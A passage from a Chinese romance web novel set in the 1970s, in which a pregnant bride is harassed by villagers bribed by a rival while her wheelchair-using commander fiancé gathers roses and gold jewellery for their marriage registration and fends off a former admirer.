“我和我男人在老家结婚办过酒席扯过证了。我男人身份特殊。来到这里,我们还得再办一次登记。咋了,不行啊?”
苏圆圆作为一个现代人的思维,她是不在意这些。
可这是七十年代啊,作风问题不光对她这个军嫂不好,对霍战北更是毁灭性的。
要是这传言被有心人报上去,霍战北是要受处分的。
“你说你们在老家办过就办过啊,这里谁见过了,谁能给你证明。你作风不好,就是作风不好,还找理由给自己脸上贴金。”
赵秀芳哼一声,捏着手帕凑到鼻孔下闻着,嗯,真香,
”你说瞎话都编不圆,你男人还啥特殊,得办两次证。啥特殊,难不成是特务?“
作风问题?
特务?
不对劲!
苏圆圆再迟钝,这时候也反应过来了。
她和这个叫赵秀芳的新媳妇没冤没仇,是绝对的陌生人。
赵秀芳就是对她的婚姻不满,心里再有气,对别人阴阳两句也就算了。
怎么会一而再,再而三地对一个陌生人痛下**,紧追不放呢?
“秀芳,谁叫你来找我事的?”
苏圆圆突然叫了她的名字。
赵秀芳怔了一下,下意识反驳,
“没有谁,就是我自己要找你事的,我——”
她突然住了嘴。她觉得她说错话了,一下子说秃噜嘴了。手一下子捏紧了手帕,想了想,又把手帕往身后藏了藏。
整个此地无银三百两的心虚样。
苏圆圆冷笑了,原来不但是个恶毒的,还是个蠢的!
“你说你自己要找我的事?你认识我吗?你因为啥原因找我的事?还有你这手帕,是谁给你的?是不是这手帕的主人让你找我事的?”
苏圆圆指着赵秀芳藏在身后的手帕。
要不是这个赵秀芳藏手帕的动作太明显,苏圆圆还想不到。
怪不得刚才她一见这手帕,就觉得有些眼熟。
这不是夏千燕的手帕吗?
海市的货,在这小县城普通人可买不到。
一想到昨儿吃晚饭的时候,夏千燕和楚医生都说今天会跟着一起来。
霍战北直接叫司机开车走人,根本就没打算带那两人。
夏千燕来了?
还和这个叫赵秀芳的新媳妇碰过面了。
苏圆圆略一思考,就想明白了内里的曲直。
夏千燕最大可能就是在厕所里见到的赵秀芳,她想起来,赵秀芳刚从照相馆屋里出来的时候,手里没拿手帕。
从厕所回来手里就捏着手帕了。
想到这里,苏圆圆往刚才赵秀芳去的方向望去,那边一堵墙后,果然探出了夏千燕的脸。
原来夏千燕真在厕所里。
苏圆圆心里一阵恶寒。
果然女主就是女主,这个夏千燕真是走到哪里,都能给她生出许多事来。
“是不是手帕的主人叫你这样往我身上泼脏水的?她除了给你这个手帕,还许了你啥好东西?”
“这是我自己的手帕,没有人。你胡说。”
赵秀芳支支吾吾,脸色有点变了。
“苏圆圆,你咋一个人坐在这里?你的准新郎官呢?”
夏千燕突然从那边跑过来,一脸打趣地说,
“苏圆圆,你家新郎官不会临阵逃跑了吧?”
说完又一
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脸笑眯眯,
“我是和你开玩笑的了。”
“我男人去上厕所了,你没见到吗?”
苏圆圆心里有些纳闷,霍战北说他要去厕所,郑好推着他去,夏千燕躲在女厕所里,总是能看到啊。
明明知道霍战北去上厕所了,还当面故意这样问她,真是恶俗。
“没有啊,我没看到战北哥哥啊。”
“你一个姑娘家,要是在女厕所,看到我家男人,那才奇怪。”
要不是今天这日子不适合动武,苏圆圆真想直接扇子这家伙两大耳刮子。
“战北哥哥坐着轮椅,真要上厕所,动作那么大,不光是我,许多人都应该能看到啊。不信,你问问他们,在男厕所有没有见一个坐轮椅的男人?”
啧啧,旁边人觉得自己真相了。
怪不得这个孕妇一个人坐在这里,感情她找的男人真不想和她结婚,偷跑了。
听这洋气姑娘说的话,那个男人还是个坐轮椅的残疾。
咦,
赵秀芳这时才发现,她好像也被这个洋气姑娘耍了。
刚才在厕所,这个洋气姑娘给了她这条手帕,还给了她二十块钱。
给她说外面坐的那个胖女人,就是她嫂子,她哥**,她立马揣着孩子要嫁给别人。
让她出去,帮着出口气。
这会子,这个洋气姑娘的话,她咋听都不对劲。
刚才,全是骗自己的!
赵秀芳脸色变了,哼,等会她再和这个洋气姑娘算账,居然敢利用她。
但眼前,她也不能让这个胖女人得了好。
谁让这胖女人骂她呢。
“哈哈,你看看,我刚才说啥来着。我刚才还奇怪,你这么胖,这么丑,咋会有男人要娶你,感情你找了个坐轮椅的残疾男人啊?”
心想着,先和洋气姑娘一起搞臭这个胖女人。
然后再找洋气姑娘算账,再不济,也得让洋气姑娘再出点血。
赵秀芳恶毒地说。
多给她一点钱,二十块钱哪行,得给一百。不然,她都不能算完。
“这位胖同志,男厕所我刚从里面出来,里面没有坐轮椅的男人。”
一个老头这样说,旁边几个男同志也跟着附和。
苏圆圆:不是,你们这些大老爷们都是这么八卦的吗?
“看吧,残疾男人都不要你。哈哈哈——”
第81章 骂人就送糖果子
赵秀芳笑得快活,心里终于有一口气吐了出来。
这世上不是只有她一个人被男人抛弃,看吧,这个胖女人的男人也不要她了。
“我朋友都这么惨了,你这人也太没同情心了吧,居然还笑她!”
夏千燕假装说赵秀芳,其实背对着苏圆圆,倒给了赵秀芳一个赞许的眼神。
赵秀芳看到这个洋气的姑娘手从口袋里掏出来一盒雪花膏。
“这个东西送给你,刚才我朋友要是哪里得罪了你,就当我替我朋友给你赔礼了。你就别和我朋友吵了,她已经够难受了。”
雅霜雪花膏?
赵秀芳的眼神都僵住了。
孙知青给她送的第一件贵重礼物,就是一瓶子雅霜雪花膏。
孙知青说,这是他们海市当地最时髦的香香,等以后他回城安顿下来后,就接她也去海市,让她天天吃小大饼油条、天天抹雅霜香香。
“姑娘,你是从海市来的吗?”
赵秀芳的眼神亮得吓人。
“嗯,我是从海市来的,在军区当护士。”
咦,
周围的婶子大娘们看着夏千燕的眼神都变了,巴结、嫉妒、向往。
“啧啧,这位胖同志,你也是从海市来的吗?”
“怪不得看你吃这么胖,我们乡下缺衣少食,可没有能吃这么胖的姑娘。”
小媳妇们看着赵秀芳手里的雅霜雪花膏,个个眼神火热。
有人开始后悔,刚才对胖姑娘说话不友好。要是她们也给这两姑娘说几句好话。
胖姑娘和这个洋气姑娘,是不是也会给她们一瓶子香香。
那香香的小瓶子一看就是金贵东西。
这要是拿回家,往自己老脸上一抹,啧啧,那晚上自家男人……
也有部分婶子开始想,这雪花膏拿回家,送给闺女,闺女过几个月就要说亲了,抹几个月,到时候脸蛋子是不是就会变得和眼前这两姑娘一样嫩嫩的、白白的。
“两位姑娘脸这么白,这么嫩,一看就不是我们村里人。”
“可不是,你们在大城市都吃啥?”
“听说大城市的供销社啥都有,还卖开叉连衣裙吗?”
……
“我朋友不是海市来的,她和你们一样,也是村里人。我们两并不熟,她要嫁的人是我朋友。”
夏千燕微微一笑。
旁边的婶子大娘们再看苏圆圆的眼神就不一样了。
啧啧,怪不得,这胖姑娘还没结婚就怀上了。
感情这是一个村姑,不知用啥手段扒上了人家大城市来的男人。
人家就是残疾了,也是大城市来的男人啊。
“不要脸的货,真是丢咱农村人的脸。”
一个小媳妇骂了一句。
夏千燕赶紧上前拉着她的手,从挎的包里掏出一把大白兔奶糖,塞到她手里,
“嫂子别骂了,我求你们了,你们赶紧散开吧。一会我朋友来了,看到这样该急了。我给你们吃喜糖,你们快散了吧。”
咋的?
这骂人还有东西拿?
婶子大娘们震惊了。
只惊了一瞬间,一群鸡样嘎嘎叫着往这边扑。
奶哎,
雪花膏、大白兔奶糖,这样样都是好东西,她们可不舍得买。
这骂几句人就能拿到这样的好东西,这也太得劲了。
别的不行,论骂人打架,她们这些村里媳妇婶子,可是最在行的。
赵秀芳这时已经从最初的震惊中回过神来。
洋气姑娘是海市来的,她要自己帮着搞臭这个胖姑娘。
她不要雪花膏,不要钱,她只要能和这个海市姑娘做朋友,以后她要海市姑娘帮她给孙知青捎信,捎东西,甚至她要是做的好,海市姑娘满意了。
说不定,到时候,她求着海市姑娘带自己去海市,人家都会愿意。
再看看旁边不停涌过来的婶子大娘小媳妇,赵秀芳急了,她可是第一个开骂的人,她可不能让人把这头功抢了。
想到这里,赵秀芳就像打了鸡血一样,冲着苏圆圆就喷开了,
“还没结婚,就让人搞大了肚子,这么憨的姑娘,哪个男人不吓跑啊。”
“可不是吗?这想靠肚子抢男人,就是贱!”
“也不知她爹娘咋想的,自家闺女这样不要脸,也不知管管。”
“没看见吗?这婆家在城市远不来人,这娘家在村里也不来个人,这是爹娘怕丢脸。”
“可不是吗?谁家有个这样的闺女,在村上还能抬头走路吗?”
“这要是我闺女,我得砸死煳了吃她,哪还能让她在外面晃来晃去。”
“不要脸,**——”
……
大娘婶子小媳妇越说越激动,一是个个生气,这么胖一个村姑,还没她们长得好看,凭啥能扒拉上一个城里男人?
二来想着,我骂的越凶越厉害,海市姑娘是不是就会多给我一把糖果子?
围过来的人越来越多,但这些人也只是敢骂几句说几句,并不敢上前动苏圆圆一手指头,毕竟这胖姑娘怀着孩子吗,谁也不傻,碰出事来,就不是一把糖果子的事了。
“哎哟,你们别过来,
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你们别挤着我朋友了,她还怀着孩子呢。”
夏千燕一脸着急地喊着,
然后撒一把大白兔奶糖,然后就站在苏圆圆身后,唇角止不住地上扬。
死胖子,让你嫁霍战北。
我今天搅不黄你两的婚事,我也得让你不痛快!
“你顶住啊,圆圆,我去厕所给你找战北哥哥。”
说着就往外挤,一边挤,还一边撒糖果子。
心里笑得嘿嘿的,死胖子,你还以为霍战北真上厕所了呢?
他刚才出去了,根本没在这院里。
原来,楚行止一大早赶过来,竟然发现霍战北这个货没等他,这么早就开车跑了,一准是不想带他们。
楚行止赶紧叫醒夏千燕,埋怨她就住在隔壁,人都走了,她还睡得那么沉,啥也不知道。
夏千燕气坏了,昨晚她翻来覆去睡不着,想了一晚上咋能赶走苏圆圆,抢到霍战北,还得不让霍战北发现事是她做的。
结果睡晚了,没想到,隔壁两人这么不讲究,昨天他们都说要跟着去了,竟然不叫她。
两人互相埋怨着,军区是因为霍战北腿伤破例拨给他一辆吉普,送他去县里照相登记。
楚行止可没那么大权利让医院给他拨辆车。
最后还是秦向阳去叫李大山,开了供销社的采购车,拉着两人一起来县上。
到了县上,秦向阳得和李大山去拉货,楚行止带着夏千燕赶往县委大院。
两人才才走到县委大院对面,就看到郑好推着霍战北走进不远处的邮局了。旁边并没跟着苏圆圆。
“楚行止,你去跟着霍战北吧。我脚痛走不动,我先去民政科找嫂子,陪她一起坐着等你们回来。”
看着楚行止向邮局走去,夏千燕嘴角浮现一抹坏笑,直接朝大院走去。
哼,
霍战北我这就进去陪你的小媳妇。
夏千燕进了大院,一眼就看到坐在土台子上的苏圆圆。
她钻进人群,往厕所走去,她去物色一个小媳妇,让她帮自己打头阵。
……
夏千燕想着刚才的事,心里笑得哈哈的,再回头看看被人群包围的苏圆圆,慢悠悠往院门外走去。
不管霍战北出去干啥,她只管站在院门外等,一看到霍战北她就扑上去,说她进来就看到苏圆圆被一群婶子大娘围起来说。
她帮忙,人家连她都一起骂。所以,她没办法,就只能跑出来找他们了。
嘿嘿,苏圆圆叫你没脸没皮和我抢战北哥哥。
不弄死你,也得让你脱层皮。
第82章 是俺家霍女婿吗
不说这边苏圆圆深陷婶子大娘小媳妇的口水里。
再说霍战北那边。
郑好推着轮椅,一边走一边问,
“团长,院里就有厕所,你咋不上,非要出来上。这条街上可没有公厕,隔一里多路才有一个,远着呢。你说说,团长你……”
郑好不明白,他家团长咋着了。
在家上过厕所了,半路上又上了一趟厕所,这会子咋又要上厕所。
他村里那些婶子大娘常说懒人屎尿多,可好家团长不懒啊?这为啥也屎尿多?
难道?
他家天不怕地不怕的团长,结个婚登个记就紧张成这样,吓尿了?
“推我进去。”
啊?
郑好正逼逼叨叨,霍战北一个冷声吓了他一跳。
“团长,这是邮局啊?”
郑好无语地看着面前的邮局,他家团长这是要到邮局里面上厕所?
唉,对,邮局后院应该有职工小厕所,不然呢?郑好一想到邮局职工夹着腿,要跑一里路去外面上公共厕所的样子,他就笑裂了嘴。
要是苏圆圆此时在这儿,一定给他一个白眼,你傻呀,啥脑回路,旁边这么近不就有县委大院厕所吗?人家邮局的人不会去,还偏夹着腿跑那么远?
是人家傻,还是你傻呀?
“闭嘴,进去。”
好吧,郑好闭嘴,他家团长说啥就是啥。
“妈,有个事我得问问你……”
“哎哟,战北啊,你可算是打电话来了。我一大早都急得给张政委打三电话了,你说说,你今天要和圆圆去照相登记,咋能不和家里打电话说一声。你这个臭小子。要不是张政委给给家里打电话说,我们还不知道,你这个臭小子,眼里还有这个家吗?……”
直到他家团长拨通了家里的电话,听到对面温教授激动的声音,郑好才知道,他误会他家团长了。
他家团长不是去撒尿,而是来打电话的。
也是的,他家团长也太不讲究了。
这照相登记结婚这么大的事,今天咋着也得和家里打电话说说啊。
哼,看看挨温教授骂了吧?
该!
一想到团长骂他,温教授骂团长,郑好不由又嘿嘿乐了。
“你说啥?圆圆差一点要和你离婚?你这个臭小子,我走的时候咋交代你的。你不要天天扳着你的个臭脸,媳妇又不是你手下的兵,你要学着哄……”
噼哩叭啦,电话那头温**一顿训。
霍战北也不在意他妈妈的态度。
他只着急,想问问他妈妈,他媳妇昨儿为啥会那样?是不是得了那个啥婚前综合症?
昨儿晚上他和媳妇聊了很多话,媳妇还说她以前在家里看话本子,最羡慕人家那些文化人的生活。
人家过生日啥的,都会送花,很有仪式感。
“对,就是这样,你给圆圆买束花,再买个戒指子,我年轻时到苏联学习,看到人家求婚,男人都会拿着花下跪求婚……”
温**一通教诲。
听得霍战北冷脸泛红。
买花?
下跪求婚?
还得大白天当着那么多人的面?
旁边听着的郑好暗暗咂舌。他们团长娘可真会说,他实在无法想像,那场面?
霍战北和家里打过电话,又拨通了苏陈皮家的电话。
很快电话那头就通来一个女人激动的大嗓门,
“是俺家霍女婿吗?俺家圆圆还没醒吧?咋这么一大早给家里打电话?你有啥当紧事吗?你要不要叫你爹接电话?他刚才挎着个粪箕子拾粪去了?”
“娘,圆圆早醒了。我们今天来县上照相登记。”
郑好僵住了,他听到了啥?
他家团长啥时候和小嫂子娘家人这么熟了?
这霍女婿,娘都叫上了?
不对!
他们家团长看这样子,给小嫂子娘家应该打过不少电话了才对。
啥时候打的?他这个勤务兵咋都不知道?
嘿嘿,看来,他们家团长这是背着小嫂子,背着他,背着苏班副偷偷给小嫂子娘家打电话呢。
啧啧,团长一直都叫温教授妈妈,这叫起老岳母来,一口一个娘,叫得真亲真溜!
这声音,软乎的,一点也不像平时他们家团长了,又亲又暖又黏糊。
不知道的,还以为电话那头不是小嫂子和苏副班的娘,倒是他们家团长的亲娘了。
“啥,你还要给圆圆买戒指子,手镯子?那得花多少钱?你钱够不?不够我让你爹去邮局给你寄几个去?实在要的急,你问你三哥要,就说我和你爹说的,让他把工资不要往家寄了,全给你两花。”
郑好在旁边听和目瞪口呆。
我的娘哎,他今天也算是开了眼了。
他家团长的老丈母娘可真是疼闺
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女,一听要给闺女买东西,都不说嫌贵别买,居然还要给团长寄钱,给小嫂子买东西。
这就够奇葩了。
更奇葩的是,还能让苏班副把钱也给团长。
这农村见多了挖闺女补儿子儿媳妇的,还从没见过挖儿子、挖全家补闺女闺女女婿的。
啧啧,
郑好觉得,他真相了,怪不得团长这么亲的叫娘,感情小嫂子家爱屋及屋,把团长也给宠上了。
霍战北打完电话,叫了他几声,郑好才回过神来。
“团长,你电话打完了,咱接下来先去哪?买花,还是买戒指手镯子?”
霍战北还没回答,楚行止就走了进来。
郑好一见,如遇救星,赶紧上前,
“楚医生,你来的正好。你说这戒指手镯子我知道县上供销社有个国营金柜,那儿有卖的。那花哪有卖的,你可知道?”
啥花?
楚行止怔了一下,等弄清楚,三个大男人一边商量着,一边往外走。
戒指手镯子是霍战北在供销社国营金柜那儿,亲自挑选的。一个样式简单的足金光板戒指,霍战北挑了一对,男一个女一个。
手镯子也是足金的,光溜溜的,没啥花样。
“霍战北,手镯子你不挑个带花的?”
楚行止看的眉毛直跳,霍战北可真是直男,挑手镯都只挑最重的。
“团长,那个带缠枝莲的不错,好看得紧。”
郑好一直对着柜台里那个缠枝莲手镯眼睛放光。
真好看,等他娶媳妇时,他也攒钱给媳妇买一个金手镯,太好看了。郑好觉得金手镯比手表好看。
就是太贵了,一对金戒指一个五十,两就一百了。
两金手镯更厉害,团长选的还是最重的,一对二百六十块钱了。
这四件加一起,这一会就花了四百一十块钱了。
买不起,他真心买不起。
“我不知道圆圆喜欢啥样的,买个光的,重的。到时候,回京市时,她喜欢啥款式,就让金匠给她融了打个啥款式。”
哦!
楚行止和郑好互相对视一眼,好吧,还是他们肤浅了。
霍战北比他们想得都周到。
鲜花?
街上可没有卖的。
一路上,三个大男人直瞅着人家各家门前的花盆绿植小菜看。
看到哪家门前花盆里开着花,就眼睛冒光。
第83章 霍战北你系的蝴蝶结可真丑
“团长,不行,咱给人家家里说说,买一盆。”
“送鲜花,一束,一是一盆,明白不?”
楚行止比霍战北还激动。
他爱读书,生活最讲究个情调。对喝茶家居养花这些事很热爱。
为了这事,这些年,霍战北可没少嘲笑他,说他一个大家人,穷讲究啥,种啥花,还不如种两棵菜吃肚里实惠。嘲笑他不像男人,像个大闺女。
这会子好了,他比他这个像大闺女的男人,还像大闺女,一路走,一路瞅着人家门口的花盆,眼睛冒绿光。
哈哈,看吧,看吧,不是不报,就是时候末到。
“霍战北,你以后还嘲笑我养花不?你说说,你要是早点说,求求我,我就把我养的那两盆花,给你剪了扎花束了。”
“对,去剪你的花。”
霍战北突然转头,看着楚行止一本正经地说。
楚行止吓了一跳,
“霍战北,你疯了吧?这离军区医院那么远,你不会让我开两小时车回去,给你剪一束花,再开两小时车回来吧?”
楚行止嘀咕着,
“你结婚是大事,按理说,兄弟也能为你跑一趟。可是,我没车啊,你们叫的吉普车回去了吧。你总不能让我飞回去吧?”
心里暗笑,叫你早上不带我,哼!
霍战北不说话,直盯着楚行止看,看得他后背直发毛。
“楚行止,我记得你在县医院分了个小院,你是不是几个月前种了一院子花?玫瑰、芍药、牡丹啥的?这会子应该开了吧?”
哎哟,楚行止脸上一僵。
他咋忘了这个茬呢?
他是京市医科大学毕业的,是京市人民医院最著名的年轻外科医生,他能来军区支援,除了受到军区的热烈欢迎。
军区所在的清水县医院领导也很是激动,专门请了他当一对一支援医生,每月请他来坐两次诊。
县医院外科有啥大手术,会专门开车去军医院请他来会诊。
为此,县医院在住房特别紧张的情况下,还专门给他分了一个小院子。供他休息,怕别人打扰他休息。还专门给除了派了一个大嫂打扫照顾院子。
对,楚行止喜欢花,他不让大嫂在院里种菜,把院里的地全撒上了花种子。
的确有玫瑰、芍药、牡丹啥的。
距离上次他来,差不多有二十多天了。上次他来看,院里的那些花都打花骨朵了,这会子,应该是都开了。
“是有,霍战北,我算是看出来了。你命咋那么好呢?别管啥时候,我有啥好东西,你都能惦记上。”
“走吧,走吧,摘你几朵花咋了?那是看起你了。”
霍战北冷眼扫过去,
“你的花能捧在我媳妇手上,那是你花的福气。就你这个人吧,有多远滚多远,心眼子太多,烦。”
郑好在旁边推着轮椅,看两人斗嘴,不禁脸上带了姨母笑。
他家团长和楚医生是发小,自从他跟了团长,就见惯了两人这样斗嘴。
别看彼此说话不留一点面子,但真要有事,彼此还真能豁出去为对方。
县医院离这也不远,一开院门,入眼一片花开。
五月春光,玫瑰、牡丹、芍药开得正盛。
楚行止觉得,这狗逼霍战北还真是运气不是一般的好。
这么多花都开了,尤其是在一片黄玫瑰里,还开着几十朵红玫瑰。
“团长,你坐着,我去给你摘。”
郑好还没下地,就看到他家团长呼一下从轮椅上站起来,大腿一迈,就冲进花园了。
“咦,团长,你的腿
——”
郑好张大嘴巴,话都说不利索了。
他家团长一见红玫瑰,就像狗见了骨头,一朵又一朵,摘得利索极了。
“他腿骨头没事,能走,就是伤口裂开,再流点血罢了。”
楚行止心疼地看着霍战北像一头野猪,在他花园里拱来拱去。专门拣红玫瑰摘,浑然不管旁边的花,踩倒一片。
“你慢点,注意脚下,别踩着我的花。玫瑰有刺,小心扎死你。”
楚行止知道,霍战北从来不是一个怜花惜玉的人。但他看着倒了一片的花,还是忍不住提醒。
“再哔哔,给你全拨了信不信?”
霍战北转头冲郑好叫一声,
“拿锹,都给他刨了。记住,只留下红玫瑰就行了。”
“霍战北,你这个——”
一个冷眼飞来,楚行止手捂住嘴,
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“好,我不说你了,你快点摘,再慢一会,你媳妇该等急了。再跟人跑了,该你哭了。”
一听这话,霍战北才不给他斗嘴了,赶紧摘了花,小心选好,把上面的刺都刮掉,
“我媳妇手嫩,可不能扎了我媳妇的手。”
霍战北四处看了一下,又扯了楚行止屋里的窗帘扎布,包上花,用笨拙的手系了一个蝴蝶结。
楚行止手伸了伸,又放下了,唉,算了,他就不说啥了,一条窗帘带子罢了。
“霍战北,你系的蝴蝶结可真丑。”
临了,出院门时,楚行止回头看了一眼自己的院子,被霍战北糟蹋的那些花,叶。
楚行止还是忍不住刺了霍战北一句。
“我丑我自豪,你想丑来,你还没有媳妇给来。”
霍战北一句话,顶得楚行止一口气上来了,堵在那,下不去了,
“你,你这个人。我告诉你,霍战北,你给你记住了。你今天娶媳妇的花都是我的,你的媳妇也有一半是我的。”
噗——
郑好实在没忍住,笑了出来。
在外人面前大名鼎鼎的楚医生,和他们家冷脸霍团长,两个人私底下斗嘴,那可真是幼儿园级别的。
“你想得美,我媳妇的每一根头发丝都是我的。你没媳妇,你馋,你自己找去。”
郑好看着他们家团长,一脸我有媳妇我光荣,你没媳妇你狗熊的不值钱样。
终是没敢再笑,因为两人听见他笑,一起转头瞪他,
“郑好,闭嘴!”
好了,他闭嘴还不行吗?
三人快步走着,买东西花了太多时间,霍战北怕媳妇等及了。让郑好推着轮椅走快点。
“团长,团——”
突然郑好眼神看向旁边一个广场,叫了一声团长。
“没吃饭吗?你推快点。”
霍战北训郑好,他出来的时间是不是太长了,圆圆是不是等急了。
“团——”
“闭嘴!”
好吧,郑好闭嘴。然后眼看着一个女军人快步向这边跑来。
“霍战北——”
哦,好熟悉的声音。
楚行止和霍战北齐齐转头,然后楚行止一脸看笑话的笑,霍战北一脸黑线。
第84章 别对我笑,娘们叽叽的
高岭?
楚行止看着郑好,一个字没说,郑好却神奇地知道楚行止问的是什么。
小鸡啄米一般连连点头。
楚行止?
哦,当年那劲爆的一幕竟然是真的啊?
哈哈,这一下子他可有笑话看了。
要说军区去年最劲爆的新闻是啥?
当然是去年在礼堂,**独生闺女高岭——尖刀连连长,当众向霍战北表白。
“霍战北,我喜欢你。我要你做我的男人!”
啧啧,真不愧是尖刀连的人,追男人的方式也这么锋利,直接了当。
大厅内众军官家属怔了一会,突然都笑了。
高岭不但喊了,还直接抱着一捧鲜花跑上台了,一脸深情地看着霍战北的脸,
“你长这么帅、身材这么好,就该嫁给我;实在不行,你娶我也管。”
看着坐在第一排的**并没有恼,大家笑了,哈哈哈,**闺女真大胆,够直接。
**没阻拦,大家心里明情,这是也很看好霍战北做女婿啊。
“不好意思,本人天生绝嗣,不能人道,此生不婚不娶。”
说完,霍战北直接下台就走,连头也没回。
直接就把高岭一个人晾在台上了。
众人再也笑不出来了。
礼堂死一样寂静……
楚行止去年出去边疆支援医务了,半年没回来,竟然错过了这么一段好戏。
他回来听人说了这事,想去看看传闻中的主角——那个大胆的高岭长啥样。
结果,高岭自那天后,就转去了东部军区。
楚行止一想到这事,就一直后悔地半夜都牙痒痒。
现在,传闻中的主角上场了,嘿嘿,要是一会高岭同志知道了霍战北今天照相登记。
楚行止都不敢往想了。
“霍战北,你咋知道我今天回来呢?”
高岭手里提着一个大包,**站在一边,司机还在往吉普车里搬东西。地上还有几个包,
“看到了吗?那些东西,都是我给你带的。”
**眉头一皱,扫了闺女一眼,高岭笑一下,站住。
楚行止算是看出来了,要不是**在这儿,这个高岭一准能跳过来,直接把霍战北抱起来转一圈。
高挑身材,一身比男人还结实的腱子肉,皮肤比霍战北还黑一个度。
前面不突,后面呢,也不翘。
嘿嘿,要是不说,还真看不出这是一个闺女,分明是个尖兵小伙子啊。
“你腿伤怎么样了?好一点没有?”
**看着霍战北坐在轮椅上,眉毛皱了起来。
这个臭小子,干啥都是拼命三郎。
幸好这次伤着的是腿,要是没命了,他闺女可咋弄,还不得和他闹着一辈子不嫁,绞了头发当姑子去。
没办法,谁让他老妻走的早,身边只剩下这一个独生闺女呢。
这次还是闺女听说霍战北出任务伤了腿,就闹着他回来看看。他就借回来开会的机会,带着闺女来了。
嗯,这个臭小子上次竟然在礼堂,当着那么多人的面,直接拒绝了闺女的求婚。
这次还算不错,腿伤成这样了,还跑到县上来接闺女。
好吧,看在这次臭小子这么懂事的份上,他就啥也不说了。
**扫了一眼这群年轻人,霍战北的发小楚医生,还有他的小勤务兵,嗯,正好带着闺女一起在县上逛逛。
都是年轻人,他这个老头子在跟着杵着,他们反而放不开。
“你们年轻人聊,我开会先走了。”
司机已经搬好了东西,**转身就上车,司机开动车,离开了。
高岭看她父亲一走,立马放松了,弯下身,伸胳膊去搂霍战北的脖子,另一只手伸过去拿霍战北抱在怀里的花束。
“跟谁学的,你还会买花了。”
霍战北一手挡住高岭伸过来的胳膊,另一只手拿着花束闪开。
“别碰,这是给我媳妇采的。”
高岭怔了一下,仿佛突然想到了什么,假小子意外红了脸,不好意思地伸手挠了挠像男兵一样的寸头,
“霍战北,你这是在向我求婚了?”
“不是,我今天登记,这花是我给我媳妇采的。”
高岭笑得越发灿烂,
“霍战北,你骗人都不会说瞎话。我早就打听过了,你原来的那个对象,夏千燕早就和你分手了。这几年,你一直没谈过对象,你还登啥记?”
“
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我从来没说过会和她结婚。”
霍战北坐直,双手抱住花。
“你骗人,你还登记?你都没对象,你登啥记?我不信,除非你现在拉个姑娘给我看看。咦,你这轮椅上挂的啥?”
霍战北头也不回,郑好赶紧解释,
“红糖,团长给嫂子买的红糖。”
高岭更笑了,
“霍战北,你可真细心。你咋知道我身上来了,肚子痛。还专门给我买包红糖冲热水喝。你可真贴心。”
郑好一脸震惊,我的娘啊。高连长这是啥脑子啊,他们家团长都说那么明白了,她还能每一句话都扭回来。
他要不要直接给高连长说清楚,要不然,一会两人闹起来,他可左右为难啊。
“那个高连长,我们团长——”
郑好还没说完,楚行止拉了他胳膊一下,
“你家团长的私事,你别掺和。”
楚行止然后一脸姨母笑,对高岭说,
“高连长,你们继续——对,就当我们不存在。”
“别对我这么笑,娘们叽叽的。笑得我身上鸡皮疙瘩都起来了。”
高岭像在阵地上看敌人一样,给了楚行止一个肃杀的眼神。
楚行止脸上的笑一下子僵住了。
啥?
说他笑得娘们叽叽的?
好吧,他娘们叽叽。也不看看她自己,还不是男人婆一样吗?
他长这么帅,分明他一笑,那些小媳妇大姑娘都一脸陶醉的样子,说他笑的时候漂亮的很,简直就是人见人爱、花见花开、洋车子见了都爆胎!
咋到了这男人婆高连长嘴里,就成了娘们叽叽的了?
“红糖是我给我媳妇买的,我媳妇怀孕了,得补补。”
霍战北想着刚才**的脸色,再想想以前大礼堂对高岭做的事,难得有耐心给她解释一下。
并不是他怕**训他,而是他怕这高岭,男人婆一样的性格,大大咧咧的,万一她死活不愿意离开,非要跟着他去民政科,到那地方,见了他小胖媳妇,再胡说些不中听的话。
惹得小胖媳妇生气了,怀疑他花心。
到时候,别说照相登记了,直接像昨天晚上那样,闹着要离婚,可咋办?
第85章 哪来的臭男人
没想到,一听霍战北说这话,高岭笑得更厉害了,
“霍战北,我就知道,你就会和我开玩笑。你不是绝嗣吗?怀啥孕啊?啧啧,你不会又要和我说,你病也好了吧?”
“对,我病好了。不绝嗣了。”
“荒唐,你不会说你媳妇给你治好的吧?”
高岭一脸,你扯吧,我看你还能往哪扯。
战友多年,一起出生入死那么多次。高岭还是第一次见霍战北这么能扯。
看样子,是拿着花来接她,脸皮薄,不好意思了。
“是我媳妇家里人给我治好的。”
“你这毛病,你都去了那么多大城市医院都没治好,你媳妇家里人就给你治好了?你哄鬼吧?难不成,你媳妇她给你下药了,直接把你药直了。”
药直了?
郑好和楚行止互相看了一眼。哎哟,我的娘唉,这是啥词,这个高连长真不愧是男人婆。
高岭亲妈走的早,**一个人又当爹又当娘,把高岭拉拔大。可以说高岭从记事就在男人堆里长大。
看看,这学的都是啥?一个姑娘家家,一身腱子肉不说,还满嘴直了歪了的。
“嗯,我媳妇给我下药了,所以我好了。”
我在哪?
我是谁?
我都听到了啥?
郑好看着楚行止一脸震惊后,又一脸坏笑的样,简直没眼再去看他家团长。
他家团长这都说的是啥啊!
这是完全没把人家高连长当个姑娘家啊!
这简直比男人对男人说话还直接。
这两人真是满嘴跑火车啊!还是高速的那种!
高岭这会子反而不着急了,她蹲下来,扶着轮椅把,看着霍战北,
“霍战北,你还能再编点更离谱的不?你倒是说说,你嘴里的媳妇,她有我本事大吗?有我作战能力强吗?有我能打能跳能跑吗”
我的娘唉,郑好心里哀嚎,我们家团长是找媳妇,又不是找战友。
高连长,你要不要听听你自己在说啥啊?
霍战北没接话,他心累,不想和高岭说话了。
“走!”
郑好一看他家团长脸上的表情,就知道啥意思。
“高连长,我们家团长没编,说的全是真的。”
郑好为难地挠挠头,上下扫了一眼高岭,一言难言的样子,
“我们家团长喜欢胖的,能吃的姑娘。”
“闭嘴,走!”
再多说一句都是多余的,他家圆圆该等急了。
霍战北觉得刚才他就不该和高岭多说一句话。应该和**敬个礼,就直接离开。
“霍战北,你们这是要往哪去?反正不管你去哪,我得跟着你。”
霍战北不语,闭着嘴,连个眼神也没给高岭。
这家伙是属八爪鱼的,黏上了就扯不掉。
“高连长,你快回去吧。我们家团长要和嫂子去照相登记,你别跟着了。”
郑好下面的半句话他没说完:你别跟着了,省得你看了心里难受。
“哼,昭啥相,结啥婚,对象都没有一个。我就跟着去,到时候霍战北要结婚没对象,我这不正好吗。”
高岭还在以为是霍战北闹别扭,死活都要跟着。
跟着就跟着吧。
他们家团长不说要撵,郑好全当没看见好了。他一个小勤务兵,他能干啥。
于是郑好推着轮椅在前,高岭紧跟在旁边,楚行止慢悠悠跟在后面,看着前面三人,脸上一副看好戏的样子。
几人刚到县委大院门口,夏千燕就跑了过来,
“战北哥哥,你咋才来啊?”
